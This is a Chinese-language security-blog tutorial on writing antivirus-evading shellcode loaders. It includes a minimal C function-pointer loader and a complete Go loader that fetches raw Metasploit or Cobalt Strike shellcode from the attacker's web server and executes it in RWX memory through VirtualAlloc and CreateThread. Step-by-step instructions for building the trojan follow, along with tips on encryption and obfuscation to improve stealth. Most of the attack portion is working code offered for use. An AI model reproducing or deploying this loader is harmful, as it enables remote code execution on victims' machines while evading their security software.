概念:
作为一个接触安全时间不久的小小白,我对"免杀"这门技术很感兴趣。今天就站在新手的角度和大家聊一聊如何编写一个Shellcode加载器,从而Bypass掉杀软。 说得直白一些,免杀就是通过各种技术手段让本被杀毒软件(Anti-Virus)标记为恶意/含风险的程序不被杀毒软件检测出来,也就是绕过杀软的检测,让杀软认为这个程序是正常的。 在开始编写之前首先要了解一下什么是Shellcode,这应该是困扰很多人的一个问题。在很多文章或是教程视频中对Shellcode的描述是"Shellcode是一段利用软件漏洞而执行的代码,是十六进制的机器码......"。我第一次看到这句话时非常懵逼,在这篇文章中我需要你忘记之前对Shellcode的理解。 现在我需要用一句话重新定义它,"Shellcode是一段不依赖环境,放到任何机器上都可以执行的机器码"。只要是符合这个条件都可以称之为Shellcode。常见的C2(Command Control的简写)例如CS或MSF中通常都有生成Shellcode的功能。C2中生成的Shellcode通常的作用为使被控机发起请求连接控制端并执行相应功能。在远程控制软件中的Shellcode通常是恶意的,但并不代表所有的Shellcode都是恶意的。一定要记住的概念是只要是不依赖于环境可以在任意机器上运行的十六进制机器码就是Shellcode,假设有一段十六进制机器码可以弹出一个警示框且其不依赖外部环境也可以称其为Shellcode。 介绍完Shellcode之后,就可以说什么是Shellcode加载器了。既然说Shellcode是一段可以执行是机器码,那就需要运行它。Shellcode加载器的目的就是让静止的"Shellcode"运行起来,执行Shellcode。 只要你学过任意一门编程语言,你都会知道函数的概念,函数就相当于我说的Shellcode,如果你写了一个函数但不去调用它那它就永远不会执行,Shellcode亦是如此,需要被调度才能执行。而所谓的Shellcode加载器就是通过各种手段调用/执行这段Shellcode。一句话总结就是调度执行Shellcode的这个过程称之为Shellcode加载。
举个例子:
void add(int a,int b) {
printf("%d", a + b);
}
int main() {
return 0;
}
可以把add函数看作是Shellcode,如果在Main方法中不调用add方法的话那add方法就永远不会执行。Shellcode加载器要做的事情就是调用/执行Shellcode。
初探Shellcode加载器:
下面是一个C语言编写的最常见的Shellcode加载器,七行代码
unsigned char buf[] = "Shellcode"; //使用CS或者MSF生成Shellcode粘贴到此处
int main()
{
((void(*)())&buf)(); //在下面会介绍这一行代码的含义
}
((void(*)()) &buf)()
第一部分:((void(*)()) 类型转换,在C语言中这是一个函数指针类型
第二部分:&buf 获取buf变量的内存地址
第三部分:() 将buf地址当作函数执行
合起来解释就是获取buf变量的内存地址,将其转换为函数指针类型,最后直接call这个地址,执行这个地址中的内容。这就是一个加载Shellcode最简单的过程。当然这段代码是不免杀的,只是用来举例。
在做免杀之前,先简单说一下杀软的两种常见的查杀方式,一种是静态查杀另一种是动态内存查杀。今天这里只讨论静态查杀,所谓的静态查杀就是杀毒软件扫描特定文件,使文件与其特征库中的特征码进行比对,比对成功则证明该文件是恶意的。CS/MSF生产的Shellcode特征早已被各大杀毒软件厂商标记烂的。针对不同的杀毒软件,能过掉静态查杀,已经成功了大半。
这里就说一下最常见的过静态查杀的方式,就是编写分离式的Shellcode加载器。分离式是指Shellcode与编译后生成的PE文件是分离开的,也就是这个程序在没有运行的情况下,Shellcode并没有在文件中,这样过掉静态查杀就显得顺理成章了。文件中没有Shellcode,也就是没有特征码,还怎么比对呢?
分离式的Shellcode加载器只有在运行时,才会通过各种途径获取Shellcode到本地并且运行它。这里说的各种途径包括通过网络获取,通过读取文件....等等方式。
分离式:
了解了分离式Shellcode加载器,那就可以发挥你的各种思路来进行编写了,这里使用Go语言通过网络请求的方式简单写一个分离式的加载器
package main
import (
"fmt"
"io/ioutil"
"net/http"
"os"
"syscall"
"unsafe"
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
CreateThread = kernel32.MustFindProc("CreateThread")
WaitForSingleObject = kernel32.MustFindProc("WaitForSingleObject")
)
func getRaw(url string) []byte {
response, err := http.Get(url)
if err != nil {
fmt.Println(err.Error())
os.Exit(0)
}
defer response.Body.Close()
body, _ := ioutil.ReadAll(response.Body)
return body
}
func captureErr(err error) {
if err.Error() == "The operation completed successfully." {
return
} else {
os.Exit(0)
}
}
func run(Dirty []byte) {
virAdd, _, err := VirtualAlloc.Call(0, uintptr(len(Dirty)), 0x1000|0x2000, 0x40)
captureErr(err)
_, _, err = RtlCopyMemory.Call(virAdd, uintptr(unsafe.Pointer(&Dirty[0])), uintptr(len(Dirty)))
captureErr(err)
a, _, err := CreateThread.Call(0, 0, virAdd, 0, 0, 0)
_, _, err = WaitForSingleObject.Call(a, 0xFFFFFFFF)
}
func main() {
run(getRaw("http:// + IP + / + raw格式文件"))
}
大致加载流程:
发起GET请求获取Raw格式文件内容->将Shellcode传递到run方法
这里涉及到WindowsAPI,大致讲解一下这几个API的作用
-
VirtualAlloc申请开辟一块虚拟内存
-
RtlCopyMemory将参数复制到申请的内存中
-
CreateThread创建一个线程,从Shellcode起始的位置开始执行
-
WaitForSingleObject等待该线程结束信号再结束
写加载器不限于使用Go语言,你可以使用你喜欢的任意一门语言来实现这个简单的加载器,例如Python/C/Rust。只要能发起请求/调用WinAPI就可以实现。除C/C++语言外的其它语言生成的木马体积会略大,Go语言生成木马时,可以使用特殊的编译参数来减小生成文件的体积以及去除黑框,但这会影响免杀的效果,使用特殊编译指令生成二进制文件时,还需要手动去除新增的特征,所以这里建议使用最简单的go build + 文件名的方式生成二进制文件。Github上有针对Go语言的混淆编译工具,大家可以去了解一下。
这是介绍的最简单的分离加载方式,目的是让大家了解什么是分离式加载器。你也可以在其中加入自己的免杀思路,例如对Shellcode进行加密等方式来提高隐蔽性。
使用方法:
-
攻击机启动MSF或CS,生成raw格式的Shellcode,将这个文件放到服务器并且启动Web服务。
-
在代码中填写自己的IP+文件名。
-
生成二进制文件 Go build + 文件名。
免责声明
由于传播、利用本公众号NGC660安全实验室所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号NGC600安全实验室及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
原文始发于微信公众号(NGC660安全实验室):初识Shellcode加载器
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论